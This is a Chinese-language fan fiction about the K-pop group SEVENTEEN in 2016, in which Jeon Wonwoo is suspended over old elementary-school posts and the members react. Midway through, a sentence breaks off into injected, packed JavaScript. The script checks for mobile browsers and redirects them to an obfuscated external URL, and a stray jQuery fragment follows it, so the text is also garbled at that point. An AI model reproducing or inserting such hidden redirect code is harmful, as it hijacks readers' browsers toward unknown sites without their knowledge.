2016年的夏天本该是SEVENTEEN最意气风发的季节。
《LOVE & LETTER》的回归让官咖粉丝数翻倍增长，打歌舞台下CARAT的应援声越来越响亮，电台节目里主持人开始用"大势新人"称呼他们，综艺里的笑点也渐渐能被观众接住——一切都在往好的方向发展。
六月的一个凌晨，权顺荣举着手机冲进宿舍客厅，声音因为激动而发颤："破了！我们官咖粉丝破了8万了！"
尹净汉从沙发上抬起头，睡眼惺忪地接过手机。屏幕的蓝光映在他脸上，照亮了嘴角慢慢扩大的笑容。他轻轻"哇"了一声，然后转头看向厨房："胜澈啊，过来看。"
崔胜澈正在煮拉面，闻言关了火走过来。他低头看屏幕时，一滴汗水从发梢滑落，掉在手机屏幕上。权顺荣立刻抗议："哥！你的汗！"
崔胜澈没理会，只是盯着那个数字看了很久。厨房的灯光从他背后照过来，在他脸上投下深浅不一的阴影。他抬手揉了揉权顺荣的头发，声音有些哑："做得好。"
"是我们做得好。"尹净汉纠正道，眼睛弯成两道月牙。
林在勋从房间出来时，看到的就是这一幕。权顺荣跳着即兴编的庆祝舞步，尹净汉笑着用抱枕打他，崔胜澈靠在墙边，目光温柔地看着他们。
林在勋靠在门框上，没有出声打扰。他注意到崔胜澈的手指在微微发抖——这位队长总是比任何人都先想到下一步，现在大概已经在担心如何维持这个数字了。
"在勋啊，"崔胜澈发现了他，招招手，"过来吃拉面。"
拉面煮得有点软了，但没人介意。四个人围坐在茶几旁，权顺荣滔滔不绝地讲着今天音乐节目的观众反应。
"今天安可的时候，台下喊''SEVENTEEN''的声音比上周大了至少三倍！"他挥舞着筷子，差点戳到尹净汉的脸。
尹净汉敏捷地躲开，顺手把最后一块鱼糕夹到崔胜澈碗里："多吃点，队长nim最近瘦了。"
崔胜澈低头看了看自己确实变得宽松的T恤，无奈地笑了："有这么明显？"
"下颌线都锋利了，"林在勋轻声说，"粉丝们都在讨论。"
崔胜澈下意识摸了摸下巴，突然想起什么："对了，明天练习室视频拍摄，圆佑说想调整一下他的part。"
"他又自己加练了？"权顺荣皱眉，"昨天我走的时候已经凌晨两点了，他还在练。"
尹净汉叹了口气："这孩子..."
林在勋默默吃完最后一口面。全圆佑最近确实练得太狠了，有时候他半夜起来喝水，还能听到楼下练习室隐约的音乐声。但谁不是这样呢？
7月4日，要发布首张正规专辑的Repackage版专辑《Love&Letter Repackage Album》，主打曲为《Very Nice》，对他们太重要了，每个人都绷着一根弦。
第二天上午，Pledis的练习室里，空调开得很足。全圆佑站在镜子前，一遍遍练习着舞蹈的衔接动作。他今天穿了件黑色无袖衫，后背已经被汗水浸透，紧贴在皮肤上。镜片后的眼睛专注得可怕，嘴唇抿成一条直线。
"圆佑啊，"权顺荣推门进来，"休息一下吧，待会儿再练。"
全圆佑点点头，但动作没停。权顺荣走过去，直接按下了音响的暂停键。音乐戛然而止，全圆佑的手臂悬在半空，慢慢放下。
"你跳得够好了，"权顺荣说，"真的。"
全圆佑拿起水瓶喝了一口，喉结上下滚动。他没说话，只是用毛巾擦了擦脸上的汗。汗水顺着他的下颌线滑落，滴在地板上，形成一小片深色的痕迹。
其他成员陆续到来，练习室渐渐热闹起来。夫胜宽和李硕珉在角落里打闹，文俊辉和徐明浩用中文快速交流着什么，洪知秀靠在墙边闭目养神。一切如常，直到经纪人推门进来。
"圆佑啊，"经纪人的声音不大，但练习室立刻安静下来，"出来一下。"
全圆佑放下水瓶，镜片反射着顶灯的光，看不清眼神。他跟着经纪人走出去，门关上的瞬间，李知勋的哼唱停了下来。
"怎么回事？"夫胜宽小声问。
没人回答。音乐继续播放，但气氛明显变了。权顺荣重新开始练习，但动作变得机械；尹净汉盯着镜子，眼神却飘向门口；崔胜澈掏出手机，眉头越皱越紧。
十分钟后，崔胜澈也被叫了出去。这次，练习室彻底安静了。工作人员低头摆弄设备，经纪人接电话的声音压得很低，但"网帖""小学""道歉"几个词还是零碎地飘了进来。尹净汉张了张嘴，似乎想说什么，最终只是轻轻拍了拍李硕珉的肩。
林在勋盯着门口，眉头不自觉地皱起。圆佑哥还没回来，胜澈哥也不见了。工作人员的表情也很不对。
崔胜澈回来时，脸色是从未有过的紧绷。他深吸一口气，声音压得很低，却足够让所有人听清："网上有人发了圆佑小学时上传的……不太好的话，关于前辈的。"
练习室一片死寂。
"公司决定暂停他这段时间的活动。"
李灿猛地抬头："什么？"
"只是暂时的。"崔胜澈的嗓音发紧，像是在说服自己，"等风波过去……"
没人再说话。音乐不知什么时候停了，只剩下空调运转的嗡嗡声。
林在勋看向镜子里的自己——他的表情还算平静，但手指已经无意识地掐进了掌心。小学时期？那都是多少年前的事了？圆佑哥现在明明是最谨慎的人，连综艺里都很少说话，生怕说错一个字。
"我们...还能拍练习室视频吗？"权顺荣突然问，声音有些发抖。
崔胜澈揉了揉太阳穴："公司说按计划进行。"
于是他们继续排练，动作一丝不苟，但灵魂似乎抽离了身体。林在勋在转身时不小心撞到了徐明浩，两人对视一眼，都从对方眼里看到了同样的茫然。
全圆佑很晚才回到练习室。推门时，所有人的目光都转向他，又迅速移开——不是躲避，而是怕他难堪。他站在门口，镜片后的眼睛低垂着，平日里没什么表情的脸此刻更加空白，像是用尽全力才维持住表面的平静。
"对不起。"
他的声音很轻，却砸得所有人心脏一沉。
少年们知道他在为什么道歉。为可能连累团队，为让成员们担心，为那段他自己都不记得的、幼稚的过去。
崔胜澈上前一步，却在碰到全圆佑肩膀前停住了。林在勋看到队长的手悬在半空
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993350|178052||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，指关节因为用力而发白。
"多久？"文俊辉突然用韩语问道，声音里带着不自然的紧绷。
全圆佑推了推眼镜，镜片反射的冷光遮住了他的眼神："等风波过去。"
练习室陷入死寂。林在勋听见空调出风口的嗡嗡声，听见徐明浩无意识摩挲裤缝的沙沙声，听见自己心跳如擂鼓。全圆佑弯腰拿起放在角落的背包时，卫衣领口滑落，露出后颈上一道明显的红痕——像是长时间低头写东西留下的压痕。
"我送你。"崔胜澈抓起外套。
全圆佑摇头："经纪人哥在楼下等。"他顿了顿，又补充道："父母明天来接我。"
这句话让林在勋胃部一阵绞痛。出道后，成员们几乎没提过"回家"这个词，宿舍就是他们的家。
现在全圆佑说要回家，听起来像是某种诀别。
门关上后，权顺荣突然一拳砸在镜子上。鲜血顺着他的指关节滑落，在镜面留下几道刺目的红痕。
"顺荣啊！"洪知秀冲过去抓住他的手腕。
"为什么是现在？"权顺荣的声音嘶哑得不像话，"为什么偏偏是......"
尹净汉不知什么时候走到了镜子前。他伸手抚过那些血迹，指尖染上淡淡的红色。"《Very Nice》的编舞，"他轻声说，"圆佑的部分要重新分配了。"
林在勋看着尹净汉平静的侧脸，突然意识到这是他能想到最温柔的安慰方式——不提伤痛，只谈未来。
第二天，官咖上传了一封手写道歉信。字迹工整到近乎刻板，每一笔都用力得像是要划破纸张。
[对于过去不成熟的言行，我深感羞愧。无论当时年纪多小，错误就是错误。我会深刻反省，今后更加谨言慎行。]
林在勋盯着手机屏幕，想象全圆佑写下这些字时的样子——一定是抿着嘴唇，眉头微皱，写完后反复检查有没有错字。那个完美主义的全圆佑，现在要为十年前的自己道歉。
公司公告紧随其后：[全圆佑因急性肠胃炎暂停活动]。
"肠胃炎？"文俊辉盯着手机，喉结动了动，"他们明明知道……"
"这样对圆佑比较好。"洪知秀轻声说，"总比让记者堵在门口强。"
父母来接全圆佑那天，练习室里少了个人。少年们照常排练，动作一丝不苟，只是休息时总有人不自觉地看向那个空着的角落。
林在勋注意到李知勋的手指一直在敲打节奏——不是新歌的，而是全圆佑最喜欢的那首歌曲的节奏。夫胜宽今天的笑话比平时多，但笑声有点太响了。徐明浩和文俊辉的中文对话变得更加频繁，像是在用这种方式制造一些正常的噪音。
"他会回来的。"崔胜澈突然说。
"当然。"权顺荣用力点头，"我们可是SEVENTEEN。"
窗外，樱花开了又落。阴影终会过去，而光从不缺席。
那天深夜，林在勋起床喝水时，听到楼下有钢琴声。
他轻手轻脚地下楼，看到李知勋一个人坐在钢琴前，弹着一首缓慢的曲子。月光从窗户照进来，落在黑白琴键上，也落在李知勋微微发抖的手指上。
林在勋没有打扰他，只是站在阴影里听完。他知道，这首曲子是李知勋写给全圆佑的。